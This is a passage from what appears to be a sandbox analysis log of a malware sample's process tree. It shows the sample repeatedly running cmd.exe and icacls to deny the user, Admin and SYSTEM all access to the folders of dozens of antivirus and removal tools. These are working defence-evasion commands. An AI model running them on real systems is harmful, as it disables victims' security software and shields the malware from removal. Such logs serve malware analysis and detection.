                                                                                                                                    • C:\Windows\system32\icacls.exe
                                                                                                                                      icacls "C:\Program Files (x86)\360" /deny "Admin":(OI)(CI)(F)
                                                                                                                                      5⤵
                                                                                                                                      • Modifies file permissions
                                                                                                                                      PID:2568
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\360safe" /deny "%username%":(OI)(CI)(F)
                                                                                                                                    4⤵
                                                                                                                                      PID:4352
                                                                                                                                      • C:\Windows\system32\icacls.exe
                                                                                                                                        icacls "C:\ProgramData\360safe" /deny "Admin":(OI)(CI)(F)
                                                                                                                                        5⤵
                                                                                                                                          PID:4600
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\SpyHunter" /deny "%username%":(OI)(CI)(F)
                                                                                                                                        4⤵
                                                                                                                                          PID:1496
                                                                                                                                          • C:\Windows\system32\icacls.exe
                                                                                                                                            icacls "C:\Program Files (x86)\SpyHunter" /deny "Admin":(OI)(CI)(F)
                                                                                                                                            5⤵
                                                                                                                                            • Modifies file permissions
                                                                                                                                            PID:240
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Malwarebytes" /deny "%username%":(OI)(CI)(F)
                                                                                                                                          4⤵
                                                                                                                                            PID:4748
                                                                                                                                            • C:\Windows\system32\icacls.exe
                                                                                                                                              icacls "C:\Program Files\Malwarebytes" /deny "Admin":(OI)(CI)(F)
                                                                                                                                              5⤵
                                                                                                                                              • Modifies file permissions
                                                                                                                                              PID:4108
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\COMODO" /deny "%username%":(OI)(CI)(F)
                                                                                                                                            4⤵
                                                                                                                                              PID:4968
                                                                                                                                              • C:\Windows\system32\icacls.exe
                                                                                                                                                icacls "C:\Program Files\COMODO" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                5⤵
                                                                                                                                                  PID:3976
                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Enigma Software Group" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                4⤵
                                                                                                                                                  PID:800
                                                                                                                                                  • C:\Windows\system32\icacls.exe
                                                                                                                                                    icacls "C:\Program Files\Enigma Software Group" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                    5⤵
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:3288
                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\SpyHunter" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                  4⤵
                                                                                                                                                    PID:5004
                                                                                                                                                    • C:\Windows\system32\icacls.exe
                                                                                                                                                      icacls "C:\Program Files\SpyHunter" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                      5⤵
                                                                                                                                                      • Modifies file permissions
                                                                                                                                                      PID:2420
                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVAST Software" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                    4⤵
                                                                                                                                                      PID:2500
                                                                                                                                                      • C:\Windows\system32\icacls.exe
                                                                                                                                                        icacls "C:\Program Files\AVAST Software" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                        5⤵
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:556
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVAST Software" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                      4⤵
                                                                                                                                                        PID:2344
                                                                                                                                                        • C:\Windows\system32\icacls.exe
                                                                                                                                                          icacls "C:\Program Files (x86)\AVAST Software" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                          5⤵
                                                                                                                                                            PID:2360
                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\AVAST Software" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                          4⤵
                                                                                                                                                            PID:324
                                                                                                                                                            • C:\Windows\system32\icacls.exe
                                                                                                                                                              icacls "C:\Programdata\AVAST Software" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                              5⤵
                                                                                                                                                              • Modifies file permissions
                                                                                                                                                              PID:4824
                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVG" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                            4⤵
                                                                                                                                                              PID:1540
                                                                                                                                                              • C:\Windows\system32\icacls.exe
                                                                                                                                                                icacls "C:\Program Files\AVG" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                5⤵
                                                                                                                                                                  PID:244
                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVG" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:3476
                                                                                                                                                                  • C:\Windows\system32\icacls.exe
                                                                                                                                                                    icacls "C:\Program Files (x86)\AVG" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                    5⤵
                                                                                                                                                                      PID:2292
                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Norton" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                    4⤵
                                                                                                                                                                      PID:4920
                                                                                                                                                                      • C:\Windows\system32\icacls.exe
                                                                                                                                                                        icacls "C:\ProgramData\Norton" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                        5⤵
                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                        PID:4328
                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:772
                                                                                                                                                                        • C:\Windows\system32\icacls.exe
                                                                                                                                                                          icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                          5⤵
                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                          PID:4900
                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:4924
                                                                                                                                                                          • C:\Windows\system32\icacls.exe
                                                                                                                                                                            icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                                                                                                                                            5⤵
                                                                                                                                                                              PID:920
                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:4904
                                                                                                                                                                              • C:\Windows\system32\icacls.exe
                                                                                                                                                                                icacls "C:\Programdata\Kaspersky Lab" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                5⤵
                                                                                                                                                                                  PID:3592
                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:4676
                                                                                                                                                                                  • C:\Windows\system32\icacls.exe
                                                                                                                                                                                    icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                    5⤵
                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                    PID:1104
                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:4252
                                                                                                                                                                                    • C:\Windows\system32\icacls.exe
                                                                                                                                                                                      icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                      5⤵
                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                      PID:4228
                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:5032
                                                                                                                                                                                      • C:\Windows\system32\icacls.exe
                                                                                                                                                                                        icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                                                                                                                                                        5⤵
                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                        PID:5028
                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "c:\Program Files\HitmanPro" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                      4⤵
                                                                                                                                                                                        PID:1560
                                                                                                                                                                                        • C:\Windows\system32\icacls.exe
                                                                                                                                                                                          icacls "c:\Program Files\HitmanPro" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                          5⤵
                                                                                                                                                                                            PID:4964
                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Desktop\AV_block_remover" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                          4⤵
                                                                                                                                                                                            PID:4516
                                                                                                                                                                                            • C:\Windows\system32\icacls.exe
                                                                                                                                                                                              icacls "C:\Users\Admin\Desktop\AV_block_remover" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                              5⤵
                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                              PID:2380
                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Downloads\AV_block_remover" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                            4⤵
                                                                                                                                                                                              PID:4268
                                                                                                                                                                                              • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                icacls "C:\Users\Admin\Downloads\AV_block_remover" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                5⤵
                                                                                                                                                                                                  PID:2164
                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Desktop\AutoLogger" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:1948
                                                                                                                                                                                                  • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                    icacls "C:\Users\Admin\Desktop\AutoLogger" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                    PID:4716
                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Downloads\AutoLogger" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:2076
                                                                                                                                                                                                    • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                      icacls "C:\Users\Admin\Downloads\AutoLogger" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                      PID:3736
                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:2956
                                                                                                                                                                                                      • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                        icacls "C:\Program Files\Kaspersky Lab" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                          PID:3956
                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:2852
                                                                                                                                                                                                          • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                            icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                            PID:2724
                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                            PID:1712
                                                                                                                                                                                                            • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                              icacls "C:\Program Files (x86)\Kaspersky Lab" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                              PID:2292
                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                              PID:1932
                                                                                                                                                                                                              • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                  PID:4860
                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Bitdefender Agent" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                  PID:4768
                                                                                                                                                                                                                  • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                    icacls "C:\Program Files\Bitdefender Agent" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                      PID:4316
                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Bitdefender Agent" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                      PID:3720
                                                                                                                                                                                                                      • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                        icacls "C:\Program Files\Bitdefender Agent" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                        PID:392
                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\DrWeb" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                        PID:2080
                                                                                                                                                                                                                        • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                          icacls "C:\Program Files\DrWeb" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                            PID:4240
                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\DrWeb" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                            PID:3448
                                                                                                                                                                                                                            • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                              icacls "C:\Program Files\DrWeb" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                              PID:4872
                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\Doctor Web" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                              PID:416
                                                                                                                                                                                                                              • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                icacls "C:\Program Files\Common Files\Doctor Web" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                                PID:3316
                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\Doctor Web" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                PID:3452
                                                                                                                                                                                                                                • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                  icacls "C:\Program Files\Common Files\Doctor Web" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                    PID:3804
                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\AV" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                    PID:4352
                                                                                                                                                                                                                                    • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                      icacls "C:\Program Files\Common Files\AV" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                      PID:2396
                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\AV" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                      PID:4516
                                                                                                                                                                                                                                      • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                        icacls "C:\Program Files\Common Files\AV" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                          PID:2552
                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Doctor Web" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                          PID:4488
                                                                                                                                                                                                                                          • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                            icacls "C:\ProgramData\Doctor Web" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                              PID:2308
                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\grizzly" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                              PID:4968
                                                                                                                                                                                                                                              • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                icacls "C:\ProgramData\grizzly" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                  PID:2688
                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Cezurity" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                  PID:384
                                                                                                                                                                                                                                                  • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                    icacls "C:\Program Files (x86)\Cezurity" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                    PID:3556
                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Cezurity" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                    PID:3472
                                                                                                                                                                                                                                                    • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                      icacls "C:\Program Files\Cezurity" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                      PID:576
                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\McAfee" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                      PID:5048
                                                                                                                                                                                                                                                      • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                        icacls "C:\ProgramData\McAfee" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                          PID:5008
                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\McAfee" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                          PID:2724
                                                                                                                                                                                                                                                          • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                            icacls "C:\Program Files\Common Files\McAfee" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                              PID:1880
                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "c:\program files\Rainmeter" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                              PID:2912
                                                                                                                                                                                                                                                              • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                icacls "c:\program files\Rainmeter" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                                                                PID:2900
                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "c:\program files\Loaris Trojan Remover" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                PID:1536
                                                                                                                                                                                                                                                                • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                  icacls "c:\program files\Loaris Trojan Remover" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                                                  PID:2808
                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Avira" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                  PID:2368
                                                                                                                                                                                                                                                                  • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                    icacls "C:\ProgramData\Avira" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                                    PID:5068
                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                    PID:3036
                                                                                                                                                                                                                                                                    • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                      icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                                      PID:3376
                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                      PID:1716
                                                                                                                                                                                                                                                                      • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                        icacls "C:\Program Files\ESET" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                        PID:416
                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                        PID:2752
                                                                                                                                                                                                                                                                        • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                          icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                            PID:4216
                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Process Lasso" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                            PID:4964
                                                                                                                                                                                                                                                                            • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                              icacls "C:\Program Files\Process Lasso" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                PID:5036
                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Process Lasso" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                PID:2184
                                                                                                                                                                                                                                                                                • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                  icacls "C:\Program Files\Process Lasso" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                                                                  PID:2056
                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Ravantivirus" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                  PID:2836
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                    icacls "C:\Program Files\Ravantivirus" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                                                    PID:3140
                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Ravantivirus" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                    PID:2220
                                                                                                                                                                                                                                                                                    • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                      icacls "C:\Program Files\Ravantivirus" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                                                      PID:3288
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Evernote" /deny "%username%":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                      PID:2764
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                        icacls "C:\ProgramData\Evernote" /deny "Admin":(OI)(CI)(F)
                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                        PID:1888
                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Evernote" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                        PID:3420
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\icacls.exe
                                                                                                                                                                                                                                                                                          icacls "C:\ProgramData\Evernote" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                                                                          PID:3372
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
